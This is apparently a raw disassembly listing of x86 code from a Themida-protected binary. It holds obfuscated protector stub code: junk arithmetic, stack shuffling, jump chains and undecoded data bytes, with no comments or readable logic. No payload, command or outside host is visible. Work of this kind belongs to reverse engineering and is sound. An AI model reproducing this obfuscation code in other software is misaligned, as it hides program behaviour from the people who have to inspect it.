loc_551CC4:				; CODE XREF: Themida_:005547BBj
		sub	al, bh
		sub	al, 68h
		pop	ebx
		sub	bl, 8Bh
		add	bl, al
		jmp	loc_556049
; ---------------------------------------------------------------------------
		db 50h
		dd 90240481h, 8B451966h, 0C483240Ch, 90E98104h,	8B451966h
		dd 89522404h, 4C281E2h,	0E9000000h, 1CA8h, 5BD2B951h, 0E9410683h
		dd 63B4h, 0F67DB151h, 67F180D1h, 0F601E980h, 416866D1h
		dd 0E584E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D1A:				; CODE XREF: Themida_:00557D7Fj
		pop	edi
		mov	ecx, eax
		jmp	loc_554FF3
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 875EF301h, 248B241Ch, 0C8BE0F24h,	781A68h, 240C8900h
		dd 0FFE0D2E9h, 16AFBEFFh, 0F68137C4h, 37C416ABh, 348BF101h
		dd 4C48324h, 2C181h, 40E90000h,	5900006Dh, 0DBEE9h
		db 0
byte_551D65	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0054FD64o
		dd 6FB35351h, 1C8BD988h, 4C48324h, 0C029F180h, 0EC8306E9h
		dd 1C896602h, 28BDB724h, 0E95B66F9h, 0FFFFFD98h, 0EB00AAB5h
		dd 9F61E9h, 19EF8100h, 0E91F5D20h, 16D3h
; ---------------------------------------------------------------------------


loc_551DA0:				; CODE XREF: Themida_:005572F7j
		mov	eax, ebp
		pop	ebp
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5546C4
; ---------------------------------------------------------------------------
		dd 8B241C87h, 72682424h, 89000055h, 0E956242Ch,	0FFFFF43Ch
dword_551DC4	dd 240C8B66h, 8904EC83h, 5A542414h, 0FFE5FAE9h
					; DATA XREF: Themida_:0054FD38o
		db 0FFh
; ---------------------------------------------------------------------------


loc_551DD5:				; CODE XREF: Themida_:00559364j
		push	0
		jmp	loc_55AD81
; ---------------------------------------------------------------------------
		db 57h
		dd 12E9BA52h, 0EA811072h, 0A60795F3h, 661AE9h, 9620500h
		dd 0D0F742A5h, 0F493EC35h, 0E9C30114h, 39Ch, 81241C8Bh
		dd 4C4h, 9D42E900h, 148B0000h, 257AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E1A:				; CODE XREF: Themida_:005534BAj
		sub	ebx, eax
		add	ebx, 72B25DA9h
		jmp	loc_550879
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2474FF52h, 48F5A04h,	24248B24h, 0FFDFDAE9h, 5EF201FFh
		dd 4C281h, 14870000h, 24248B24h, 6AC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_551E4D:				; CODE XREF: Themida_:005555F6j
		push	esp
		jmp	loc_55676C
; ---------------------------------------------------------------------------


loc_551E53:				; CODE XREF: Themida_:00556674j
		pop	edx
		push	edx
		push	3B074125h
		pop	edx
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_55A79B
; ---------------------------------------------------------------------------


loc_551E65:				; CODE XREF: Themida_:0055A529j
		mov	edx, 0
		sub	edx, ebx
		jmp	loc_550E7F
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 47E90000h, 0F7000011h, 585450F9h, 6604BB53h,	0DBF77521h
		dd 0FFE8BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551E8D:				; CODE XREF: Themida_:0055AF54j
		pop	eax
		sub	esp, 4
		jmp	loc_55A53B
; ---------------------------------------------------------------------------
		db 0E9h, 75h, 0DFh
		dd 1487FFFFh, 24248B24h, 4C781h, 0CE90000h, 0B800003Ch
		dd 6F807D14h, 5258C701h, 0D59188BAh, 3BC781E7h,	13F4232h
		dd 3BEF81D7h, 5A3F4232h, 0E95FFB09h, 2945h
; ---------------------------------------------------------------------------


loc_551ED4:				; CODE XREF: Themida_:00555089j
		push	edx
		mov	edx, 31B3BE3h
		sub	edx, 0FF5FD88Fh
		xor	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 68AE5B65h
		not	ecx
		sub	ecx, 1C9E6F90h
		and	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_554F70
; ---------------------------------------------------------------------------
		db 29h
		dd 5FEA81FAh, 5F05A440h, 8101C283h, 0E5864AEAh,	0E9D02987h
		dd 0FFFFFEFAh, 31241433h, 0EBE92414h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551F23:				; CODE XREF: Themida_:00550BD9j
		mov	eax, 6AA56266h
		or	esi, eax
		pop	eax
		jmp	loc_552BE3
; ---------------------------------------------------------------------------


loc_551F30:				; CODE XREF: Themida_:005572DFj
		push	ebx
		mov	ebx, 59091578h
		mov	eax, ebx
		pop	ebx
		add	eax, 23A1946h
		push	edi
		mov	edi, 63A8268Ch
		add	eax, edi
		pop	edi
		jmp	loc_54FEED
; ---------------------------------------------------------------------------


loc_551F4C:				; CODE XREF: Themida_:0055916Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2DF5EC3h
		dec	ebx
		inc	ebx
		or	ebx, 731E67ABh
		and	ebx, 63D16719h
		or	ebx, 41F83C3Ah
		jmp	loc_5591A0
; ---------------------------------------------------------------------------
		db 54h
		dd 396E9h, 243C8900h, 8AE9E789h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_551F83:				; CODE XREF: Themida_:0055589Fj
		push	238253A6h
		pop	esi
		push	esi
		jmp	loc_553C93
; ---------------------------------------------------------------------------
byte_551F8F	db 66h			; DATA XREF: Themida_:0054FDB8o
		dd 51240C8Bh, 0EC835954h, 0E172E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F9E:				; CODE XREF: Themida_:00555BDFj
		add	esp, 4
		jmp	loc_550D2F
; ---------------------------------------------------------------------------


loc_551FA6:				; CODE XREF: Themida_:0055B26Fj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_552D24
; ---------------------------------------------------------------------------
		db 50h
		dd 0D0F68BB0h, 0E8D0C0FEh, 0F6E95166h, 1000009h, 0EA8159CAh
		dd 48A0125Ah, 0A095E9h
		db 0
byte_551FCD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FC20o
		dd 83240C8Bh, 0E95304C4h, 88B8h, 15EF531h, 34FF5DEBh, 0C4815924h
		dd 4, 0B5968h, 241C8900h, 8D58E7BBh, 0B056825h,	2C890000h
		dd 1D685224h, 5A08E77Fh, 0FFF802E9h, 4C781FFh, 50000000h
		dd 3C00CDB8h, 9A254877h, 0E90ED501h, 7977h, 158C329h, 0F77FE9DDh
		dd 0DBF7FFFFh, 0C9C7F381h, 0DD01BDE6h, 841EE95Bh, 805A0000h
		dd 7E901EDh, 3300003Ch,	248B2434h, 0EF69E924h, 0F830FFFFh
		dd 5B2434FFh, 4C481h, 3AE90000h, 8900008Dh, 0EC8157E2h
		dd 4, 0E9240489h, 8C91h
; ---------------------------------------------------------------------------


loc_552074:				; CODE XREF: Themida_:00555176j
		sub	ebx, 37881F13h
		push	64A6h
		mov	[esp], eax
		mov	eax, 42D1F39h
		add	ebx, eax
		jmp	loc_5559CE
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 67F2C781h, 835E439Eh, 0F9E902C7h, 81000055h,	4C4h, 47E95000h
		dd 5B000025h, 7C49EA81h, 0C2293044h, 7C49C281h,	0EC813044h
		dd 4, 0E9240C89h, 90F4h, 4240481h, 5E000000h, 4C681h, 87E90000h
		dd 0E900004Dh, 0FFFFDD33h, 7EC1E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5520E6:				; CODE XREF: Themida_:00559904j
		sub	bl, ah
		jmp	loc_555DF1
; ---------------------------------------------------------------------------
a3S2d		db '3,$И2d',0
		dd 24248B00h, 0C8B60F66h, 0FFEE5CE9h
		db 0FFh
byte_552101	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FB58o
		dd 68186824h, 2C890000h, 50E58924h, 8668E9h
		db 0
; ---------------------------------------------------------------------------


loc_552115:				; CODE XREF: Themida_:00552DBDj
		add	edi, 1D3423E3h
		add	edi, edx
		jmp	loc_556FAA
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 731CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55212A:				; CODE XREF: Themida_:00551301j
		neg	edi
		jmp	loc_55269D
; ---------------------------------------------------------------------------
		db 58h,	87h, 1Ch
		dd 24248B24h, 0FFE2F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55213D:				; CODE XREF: Themida_:00557725j
		neg	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4ECC14EEh
		shr	esi, 7
		or	esi, 5AC26BDDh
		jmp	loc_5560BC
; ---------------------------------------------------------------------------
		db 89h
		dd 8B3B89D7h, 0C481243Ch, 4, 8124148Bh,	4C4h, 8030E900h
		dd 0D0BB0000h, 811C1775h, 4ECh,	24148900h, 0AB38F9BAh
		dd 495BE901h
		db 2 dup(0)
word_55218E	dw 8B66h		; DATA XREF: Themida_:0054FDACo
		dd 0E952240Ch, 92Ah, 0E92414F7h, 7FC0h,	8324048Bh, 0F38104C4h
		dd 0BABBF18Bh, 57E9D829h, 83000031h, 335B04C4h,	0C6E9240Ch
		dd 8B000050h, 0B60F2424h, 6F3768C8h, 0C890000h,	249AE924h
		dd 0D7010000h, 0E924148Bh, 2504h
; ---------------------------------------------------------------------------


loc_5521DC:				; CODE XREF: Themida_:0055279Ej
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7E42D77h
		add	[esp+4], ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_553B8C
; ---------------------------------------------------------------------------
		db 0E9h, 19h, 0DCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5521FA:				; CODE XREF: Themida_:005590A4j
		push	edi
		jmp	loc_55463B
; ---------------------------------------------------------------------------
		dd 424548Ah, 4245C88h, 81241C8Bh, 4C4h,	0DBFDE900h, 0EC83FFFFh
		dd 24248904h, 4240481h,	0E9000000h, 0FFFFE44Dh,	68242C89h
		dd 246833E0h, 8B2434FFh, 88E9242Ch, 87000093h, 248B241Ch
		dd 34B7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552246:				; CODE XREF: Themida_:00555899j
		mov	edx, 3E3A3F6Bh
		sub	eax, edx
		pop	edx
		mov	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4
		shr	dword ptr [edi+24h], 1
		and	dword ptr [edi+24h], 5404FFAh
		jmp	loc_550138
; ---------------------------------------------------------------------------
		db 66h,	59h, 88h
		dd 0E6E95AF7h, 100003Ah, 6832FFCAh, 4284h, 64A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_552281:				; CODE XREF: Themida_:00552561j
		mov	dh, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5528F1
; ---------------------------------------------------------------------------
		dd 644F68h, 24248900h, 4240481h, 59000000h, 0B1E95652h
		dd 8100003Eh, 4C3h, 241C8700h, 4EC815Ch, 89000000h, 14E9241Ch
		dd 5700006Eh, 90BCE9h, 2FEDB800h, 0C9E97974h, 500006Fh
		dd 1AE0B43Dh, 3CB8E9h, 58C52100h, 4502E5C1h, 573CBF57h
		dd 0EF81207Fh, 6B941CA0h, 81D7F74Fh, 0E2A0C5C7h, 0E9FD2904h
		dd 1EA4h, 4149415Eh, 4943C181h,	0F1813D7Ch, 0A2EE6C57h
		dd 0D1E9CA01h, 5A000092h, 483AB951h, 0E95329BFh, 54E3h
		dd 6172E945h, 0D8010000h, 4833685Bh, 34890000h,	2BE24h
		dd 0A42D0000h, 1668A4Dh, 4DA405F0h, 335E668Ah, 4312404h
		dd 0F67BE924h
		db 2 dup(0FFh)
word_55234A	dw 8B66h		; DATA XREF: Themida_:0054FBF0o
		dd 0EC812404h, 4, 0E9241489h, 0FFFFFC17h
; ---------------------------------------------------------------------------


loc_55235C:				; CODE XREF: Themida_:00558FE3j
		push	ebx
		sub	dword ptr [esp], 4B7E4CC4h
		pop	edx
		add	edx, 4B7E4CC4h
		pop	ebx
		sub	edx, 214D59Eh
		sub	eax, edx
		pop	edx
		xor	eax, 7E7BD74Fh
		sub	[edi+24h], eax
		jmp	loc_556E0D
; ---------------------------------------------------------------------------
		dw 665Bh
		dd 1C581h, 1C58166h, 7558E900h,	0C3810000h, 3833719Eh
		dd 611BEB81h, 0C0E93786h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5523A3:				; CODE XREF: Themida_:00553CC6j
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	edi, [esp]
		add	esp, 4
		push	edi
		xor	dword ptr [esp], 1FB7394Dh
		pop	eax
		xor	eax, 1FB7394Dh
		pop	edi
		jmp	loc_557F27
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C4812434h, 4, 11E99D61h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5523DB:				; CODE XREF: Themida_:00557B47j
		shr	ebp, 2
		sub	ebp, 0BF06E98Eh
		add	ebx, 3C97674Bh
		jmp	loc_556B8B
; ---------------------------------------------------------------------------
		db 29h
		dd 14875DEAh, 8F545C24h, 0E9552404h, 5AEh, 6B85E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552406:				; CODE XREF: Themida_:00557FF0j
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		mov	eax, 352C32DFh
		xor	[esp+4], eax
		pop	eax
		pop	eax
		push	ebp
		mov	ebp, 352C32DFh
		xor	eax, ebp
		jmp	loc_550729
; ---------------------------------------------------------------------------


loc_55242A:				; CODE XREF: Themida_:00559B0Ej
		and	edi, eax
		pop	eax
		jmp	loc_556A5D
; ---------------------------------------------------------------------------
word_552432	dw 8B66h		; DATA XREF: Themida_:0054FD6Co
		dd 54522404h, 0EC81505Ah, 4, 0BE243489h, 0A4A3AA7h, 729EBA52h
		dd 0DAF7500Fh, 29C6E9h,	2C48100h, 80000000h, 0D3283EEBh
		dd 3EB05066h, 8591E9h, 58C70100h, 0E902C783h, 3C9Dh, 8E9C058h
		dd 0FE77F180h, 0F6D986C1h, 0C0D986D3h, 0C18006E1h, 0C39E9DDh
		dd 48F0000h, 0E9F75C24h, 426268h, 24148900h, 55E99C50h
		dd 5A000013h, 5182F281h, 0E4E90F5Ah, 5A00002Ch,	6D4A9F0Dh
		dd 6E8C103h, 8D2DD0F7h,	1FFC002h, 306858C1h, 8900004Fh
		dd 4BE2434h, 1000000h, 24348BF1h, 1A3CE9h, 240C8B00h, 4C481h
		dd 0EFE90000h, 8100001Ah, 4C4h,	7685700h, 0E9000059h, 16E8h
		dd 0A0E9D301h, 80FFFFE4h, 0F7808AE7h, 0FB48E929h, 431FFFFh
		dd 24043324h, 7F30E9h
		db 0
; ---------------------------------------------------------------------------


loc_552515:				; CODE XREF: Themida_:0055A487j
		and	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 17453BB0h
		sub	edx, 50B41CE0h
		add	edx, esi
		add	edx, 50B41CE0h
		jmp	loc_55267B
; ---------------------------------------------------------------------------


loc_552539:				; CODE XREF: Themida_:005547D3j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_55A7D3
; ---------------------------------------------------------------------------


loc_552549:				; CODE XREF: Themida_:00550CFAj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	719Ah
		mov	[esp], ebp
		push	edi
		jmp	loc_556810
; ---------------------------------------------------------------------------


loc_55255E:				; CODE XREF: Themida_:00555D3Bj
		add	esp, 4
		jmp	loc_552281
; ---------------------------------------------------------------------------


loc_552566:				; CODE XREF: Themida_:00553EF4j
		mov	edx, 0F6A2A39h
		dec	edx
		push	esi
		push	60C7h
		mov	[esp], eax
		mov	eax, 30A701F6h
		and	eax, 6E2A2D3Eh
		sub	eax, 15EE5615h
		push	ebx
		mov	ebx, 22C63E76h
		add	ebx, 57F11117h
		jmp	loc_556503
; ---------------------------------------------------------------------------
		db 0E9h, 79h, 0D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55259A:				; CODE XREF: Themida_:0055680Bj
		sub	eax, ecx
		pop	ecx
		add	eax, ebp
		push	edx
		mov	edx, 38336326h
		jmp	loc_556672
; ---------------------------------------------------------------------------


loc_5525AA:				; CODE XREF: Themida_:005568D0j
		sub	esi, 7C597FA8h
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5551C9
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB4E62EDh, 81C52927h, 0CB4E62C5h, 24048B27h, 8104C483h
		dd 1C5D9F5h, 4773E943h,	0C8B0000h, 4C48124h, 80000000h
		dd 0C9E9B8C3h, 81000040h, 930C8BEBh, 4EC8151h, 89000000h
		dd 0CAE9240Ch, 58000072h, 34FFD030h, 2434FF24h,	4C4815Ah
		dd 81000000h, 4C4h, 0E147E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55261E:				; CODE XREF: Themida_:005503CAj
		pop	esi
		jmp	loc_558D55
; ---------------------------------------------------------------------------
		dd 363984BEh, 8BF6810Ch, 81741E39h, 3C68C2F6h, 0EE814E67h
		dd 0E4C31287h, 4639C681h, 0C681233Bh, 2EC15099h, 7FFE9h
		dd 241C8900h, 0C3815B54h, 4, 0E97FE952h
		db 2 dup(0FFh)
word_55265E	dw 34FFh		; DATA XREF: Themida_:0054FBCCo
		dd 240C8B24h, 5604C483h, 0E9515E54h, 3BE8h, 8324148Bh
		dd 80E904C4h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55267B:				; CODE XREF: Themida_:00552534j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_552AE9
; ---------------------------------------------------------------------------
aItqsx		db '┴БQИX\',0
		align 2
		dw 0B850h
		dd 25D7602h, 77E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55269D:				; CODE XREF: Themida_:0055212Cj
		not	edi
		sub	edi, 70EA177Fh
		push	ecx
		mov	ecx, 526352E6h
		push	ebx
		mov	ebx, 27ED78C8h
		sub	ebx, 0B2A23FFh
		jmp	loc_55B984
; ---------------------------------------------------------------------------
		dd 2BBh, 5BDE8900h, 348BF101h, 0E3895324h, 4C381h, 0BE560000h
		dd 1FBC4CBFh, 2CBCE94Eh, 1FBB0000h, 0E90D8E22h,	0B14h
; ---------------------------------------------------------------------------


loc_5526E8:				; CODE XREF: Themida_:005576B7j
		sub	ebx, edi
		jmp	loc_555374
; ---------------------------------------------------------------------------


loc_5526EF:				; CODE XREF: Themida_:0055A6A6j
		add	cl, 5
		and	bh, cl
		jmp	loc_557923
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 5B680000h, 89000056h, 55E92414h, 29000036h
		dd 0E0C15FF8h, 362D06h,	684DEBh, 29000000h, 5582404h, 0A547CC0Eh
		dd 0FFFD3CE9h, 0DDE949FFh, 1000054h, 1DA9E9C7h,	0C330000h
		dd 7728E924h, 0F5810000h, 47CE18D8h, 0ABE9EB89h, 3500004Fh
		dd 281D64h, 889FE9h, 91EA8100h,	81116E06h, 9B4642C2h, 0C1DAF758h
		dd 0F28107E2h, 9D41178h, 34FFD689h, 61E95A24h, 8900006Bh
		dd 0FF54240Ch, 83592434h, 0BF5704C4h, 4, 565FF901h, 585FE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552796:				; CODE XREF: Themida_:0055052Aj
		xor	ebp, ebx
		pop	ebx
		push	1873h
		jmp	loc_5521DC
; ---------------------------------------------------------------------------


loc_5527A3:				; CODE XREF: Themida_:005503A7j
		test	cx, ax
		pushf
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_5527AC:				; CODE XREF: Themida_:00551519j
		add	edx, esi
		jmp	loc_55A19B
; ---------------------------------------------------------------------------


loc_5527B3:				; CODE XREF: Themida_:005546A1j
		push	0ACD2A65h
		mov	ebp, [esp]
		jmp	loc_55B241
; ---------------------------------------------------------------------------
aIIuxsss	db '┬Л┬ЦXИ≥s',0
		align 2
		dw 0C281h
		dd 465C254Dh, 0FFF652E9h, 247C01FFh, 246C8104h,	0B45AC904h
		dd 81E95F42h, 89FFFFEAh, 4BA2414h, 81000000h, 0DE1EBBEBh
		dd 81D3012Ah, 0DE1EBBC3h, 24148B2Ah, 4C481h, 1C870000h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_550F78
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 2CD8108h, 8123C366h,	0EFFF33EDh, 5DEB8923h, 22D6C381h
		dd 65E915C2h, 5C00004Eh, 5ADFB850h, 44294DA8h, 56580424h
		dd 8649D4BEh, 24740116h, 52ABE904h, 248B0000h, 240CFF24h
		dd 0D5B1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552862:				; CODE XREF: Themida_:00555409j
		pop	esi
		pop	eax
		inc	edi
		shl	edi, 6
		add	edi, 6405367h
		sub	edi, 47CA5689h
		or	edi, 0D6F1A87h
		push	eax
		mov	eax, 0CFFF9F9Bh
		xor	edi, eax
		jmp	loc_553219
; ---------------------------------------------------------------------------


loc_552887:				; CODE XREF: Themida_:00554A3Ej
		inc	eax
		dec	eax
		not	eax
		jmp	loc_5572C7
; ---------------------------------------------------------------------------
		dd 0FC535105h, 692BE933h, 0D2F70000h, 8103EAC1h, 0F30E16CAh
		dd 1CF75201h, 0D76CE924h, 0D729FFFFh, 9059E9h
		db 0
; ---------------------------------------------------------------------------


loc_5528B5:				; CODE XREF: Themida_:00554BC3j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		jmp	loc_5558F3
; ---------------------------------------------------------------------------


loc_5528C1:				; CODE XREF: Themida_:0055740Ej
		push	77Ch
		mov	[esp], ebx
		jmp	loc_557DDD
; ---------------------------------------------------------------------------


loc_5528CE:				; CODE XREF: Themida_:0055141Cj
		mov	dl, al
		pop	eax
		shl	dl, 7
		not	dl
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0D0h
		sub	dl, bh
		jmp	loc_553C3B
; ---------------------------------------------------------------------------
		db 0BDh, 0B4h, 38h
		dd 0DDF73227h, 3688E9h
		db 0
; ---------------------------------------------------------------------------


loc_5528F1:				; CODE XREF: Themida_:00552287j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_554E3A
; ---------------------------------------------------------------------------


loc_552908:				; CODE XREF: Themida_:005577D3j
		xor	dl, 0E5h
		inc	dl
		sub	dl, 55h
		shr	dl, 6
		xor	dl, 86h
		add	bl, dl
		pop	edx
		sub	bl, al
		jmp	loc_5598F2
; ---------------------------------------------------------------------------


loc_552920:				; CODE XREF: Themida_:00553C1Cj
		or	esi, 40A70338h
		or	esi, 729766B0h
		dec	esi
		jmp	loc_55662C
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 2404A30Fh, 0D4D1E99Ch, 4C68FFFFh,	89000065h
		dd 0EC83243Ch, 24248904h, 0FFDD4CE9h, 3008B0FFh, 0CDE95AF0h
		dd 83000002h, 1C8704EBh, 65E95C24h, 0F6000051h,	0D8C780DFh
		dd 66ADC780h, 66405968h, 0B2241489h, 66D728E8h,	4EB4505Ah
		dd 804DEC80h, 0E700C3C7h, 58C3EF80h, 0E9FFEF80h, 0FFFFFB67h
; ---------------------------------------------------------------------------


loc_552998:				; CODE XREF: Themida_:0055696Bj
		add	esp, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55501F
; ---------------------------------------------------------------------------
aIxsbv		db '┴ЕИ║v',0
		dd 0E9D1B500h, 25CAh, 22E9DBF7h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5529C3:				; CODE XREF: Themida_:00554220j
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_55B11C
; ---------------------------------------------------------------------------
		dd 0FE97C681h, 0F129005Ah, 2D3FE9h, 24143300h, 33241431h
		dd 248B2414h, 0E930FF24h, 0FFFFD41Fh, 0FFD41AE9h, 5AD301FFh
		dd 53EE68h, 0FDE1E900h,	0D2F6FFFFh, 0F606E2C0h,	6EC280D2h
		dd 5194E9h, 5387BF00h, 0F0E92E65h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55BEBF
; ---------------------------------------------------------------------------
		db 0B8h, 2 dup(0FFh)
		dd 0FAE9FFFFh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552A37:				; CODE XREF: Themida_:00554622j
		inc	edi
		jmp	loc_553967
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 4
		dd 837CD918h, 814B01EBh, 9A1128EBh, 0FFDE316Ah,	815B2434h
		dd 4C4h, 0E3EF8100h, 297A5A3Fh,	0E3C781F7h, 0FF7A5A3Fh
		dd 835E2434h, 0E9C304C4h, 0FFFFD39Fh, 0B5516659h, 66E82899h
		dd 53D82859h, 0C3FEE6B3h, 4EEB80h, 0C02C5BD8h, 2EC81h
		dd 89660000h, 2BB7241Ch, 8B66F828h, 0E9E9241Ch
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552AA3:				; CODE XREF: Themida_:00559DDEj
		push	5314h
		jmp	loc_5586E5
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 5094h, 8246C01h,	0FD13E95Dh, 0E289FFFFh
		dd 4C281h, 92E90000h, 5800007Bh, 6330E9h, 0E9E58900h, 53C2h
; ---------------------------------------------------------------------------


loc_552ADC:				; CODE XREF: Themida_:0055991Bj
		pop	esp
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		dw 0EF00h
		dd 0FFE536E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552AE9:				; CODE XREF: Themida_:00552685j
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 5510E9h, 1C35BB00h, 0EBC17634h, 95EB8707h
		dd 5395D0F7h, 53ACE9h, 32686800h, 34890000h, 29BD5524h
		dd 0C116CA71h, 0E4E906E5h, 81000022h, 2E1076C1h, 81D90125h
		dd 2E1076E9h, 0BD555B25h, 45056FB1h, 1100ED81h,	0C5810C11h
		dd 0C70BA151h, 4A7EC181h, 0E90177CCh, 4A7EE981h, 515D77CCh
		dd 42474FFh, 83240C8Bh,	48F04C4h, 24248B24h, 66F1F766h
		dd 66550B68h, 66241489h, 9CE99C50h, 0B4FFFFD2h,	66E6301Bh
		dd 8324048Bh, 0E6C002C4h, 0FFC68005h, 5301EE80h, 0EF80B3B7h
		dd 0BFC78029h, 6ECCE9h
		db 0
; ---------------------------------------------------------------------------


loc_552B99:				; CODE XREF: Themida_:00559EC1j
		mov	[esp], ecx
		mov	ecx, 5D9D0A73h
		inc	ecx
		jmp	loc_5538E3
; ---------------------------------------------------------------------------
		db 0BAh
		dd 38F131FEh, 15C1C781h, 0F7E9528Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552BB7:				; CODE XREF: Themida_:00555026j
		mov	[esp], ebx
		push	ebp
		jmp	loc_551B88
; ---------------------------------------------------------------------------
		dd 2414875Bh, 0BB0F665Ch, 0E99C2404h, 0FFFFD243h, 0E924048Fh
		dd 0FFFFE3D8h
; ---------------------------------------------------------------------------


loc_552BD8:				; CODE XREF: Themida_:0055050Cj
		add	esp, 2
		add	bl, al
		push	ecx
		jmp	loc_553299
; ---------------------------------------------------------------------------


loc_552BE3:				; CODE XREF: Themida_:00551F2Bj
		sub	esi, 476C46CCh
		inc	esi
		jmp	loc_559F5E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 18E92404h, 56FFFFD2h, 42474FFh, 24048F5Eh
		dd 240C875Ch, 37D7E95Ch, 0DFF60000h, 0F780D7F6h, 742EE969h
		dd 0E3810000h, 57F94E49h, 0D5F7EB87h, 0E957EB87h, 21B4h
		dd 2408E8C0h, 30240491h, 0CE8858C1h, 1620E959h,	515C0000h
		dd 4B850h, 0C1890000h, 0E9C80158h, 0B17h, 4C481h, 0C7890000h
		dd 32FEE958h, 0C1810000h, 4, 8704C183h,	815C240Ch, 8F7C5BEBh
		dd 8050E90Bh, 0E9500000h, 935Dh
; ---------------------------------------------------------------------------


loc_552C7C:				; CODE XREF: Themida_:00557BD6j
		push	1D60h
		mov	[esp], ebp
		mov	ebp, 77C40ACAh
		add	ebp, 88BBF536h
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55404C
		push	dword ptr [edi+28h]
		sub	dword ptr [esp], 642B3C33h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55107E
; ---------------------------------------------------------------------------
		dd 21E9FE01h, 53FFFFD6h, 2D45E9h
		db 0
; ---------------------------------------------------------------------------


loc_552CED:				; CODE XREF: Themida_:00556773j
		add	edx, 4
		jmp	loc_55BEB5
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 41E90000h, 5D000035h, 5C24048Fh, 5246E9h, 0DCE95D00h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552D13:				; CODE XREF: Themida_:005542BCj
